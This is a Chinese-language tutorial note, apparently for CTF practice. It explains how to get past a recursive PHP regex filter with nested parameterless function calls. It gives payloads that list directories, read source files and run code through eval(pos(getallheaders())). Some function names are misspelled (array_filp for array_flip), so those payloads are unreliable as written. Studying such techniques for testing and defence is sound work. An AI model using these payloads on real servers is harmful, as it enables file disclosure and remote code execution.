1. php正则匹配-递归匹配 例如: preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
其中[^\W]+ 表示任意的字符和数字以及下划线,匹配1次或者多次 然后是匹配 "(" 一次 然后是(?R)? 表示递归匹配 也就是表示当前的正则匹配pattern这整个式子,(?R)代表的是整个式子,而最后一个?表示的是给予这个递归一个终止信号,因为?可以表示0次或者1次,所以同样可以用*来代替。当然这里?以及*可能出现递归栈的不同。
综上所述:该正则可以匹配的内容为:a(b(c()))或者a(),也就是只能含有括号的内容
2.该方法也就是无参数函数进行文件读取或者命令执行(参考自FreeBuff.COM----合天智汇) ①查看当前目录文件名 使用print_r(scandir('.')),那么如何构造".",有如下几种方案 一、localeconv()函数 该函数可以返回包含本地数字及货币格式信息的数组,而所有数组中第一项就是“.”,第二项是“..” 二、current() 或者pos()函数 这两者函数互为别称,这个函数的作用是返回数组中的单元,默认取第一个值 三、reset()函数 该函数返回数组的第一个单元的值,如果数组为空则返回FALSE 四、chr(46) 可以构造chr(current(localtime(time()))); 五、利用三角函数以及可能出现的数字 phpversion() phpversion()返回PHP版本,如5.5.9 floor(phpversion())返回 5 sqrt(floor(phpversion()))返回2.2360679774998 tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615 cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491 sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156 ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46 即chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
六、可以利用getcwd()或者realpath('.')来获得当前绝对路径 即print_r(scandir(getcwd()))
所以可以根据如上函数构造读取当前目录内容: 即print_r(scandir(current(localeconv())));
②读取当前目录下文件内容: current()-返回数组中当前单元 each()----返回数组中当前的键/值对并将数组指针向前移动一步 end()-----将数组的内部指针指向最后一个单元 next()-----将数组中的内部指针向前移动一位 prev()-----将数组的内部指针倒回一位
所以就可以根据这些来读取文件内容了: 如果是获取数组的最后一个,可以采用show_source(end(scandir(getcwd())));或者是用readfile,highlight_file、file_get_contents、readgzfile
③array_reverse()函数 该函数以相反的元素顺序返回数组,如果排在最后一位那么使用了该函数之后便可以使用current函数来直接读取内容,同理如果是倒数第二个可以采用倒序然后再next来读取文件内容 即show_source(next(array_reverse(scandir(getcwd()))));
④如果不是倒数第一或者倒数第二,即数组内容较大的话,可以采用array_rand(array_filp) 其中array_file()是交换数组的键值对,array_rand()是随机选择一个返回 即采用show_source(array_rand(array_filp(scandir(getcwd()))));来凭运气
⑤dirname()函数 返回路径中的目录部分
⑥当我们需要在上一级目录读取文件的时候需要用到chdir()函数 该函数的作用是改变工作目录 即show_source(array_rand(array_filp(scandir(dirname(chdir(dirname(getcwd())))))))
⑦无参数命令执行 可以在headers输入一个参数,然后利用getallheaders()或者apache_request_headers()获取头部header 然后利用?eval(pos(getallheaders()));add:phpinfo()来进行命令的执行,首先要确定这个add排在headers的第一位
同理,可以用get_defined_vars()来获取php中的变量
参考文章:
https://www.freebuf.com/articles/system/242482.html--合天智汇
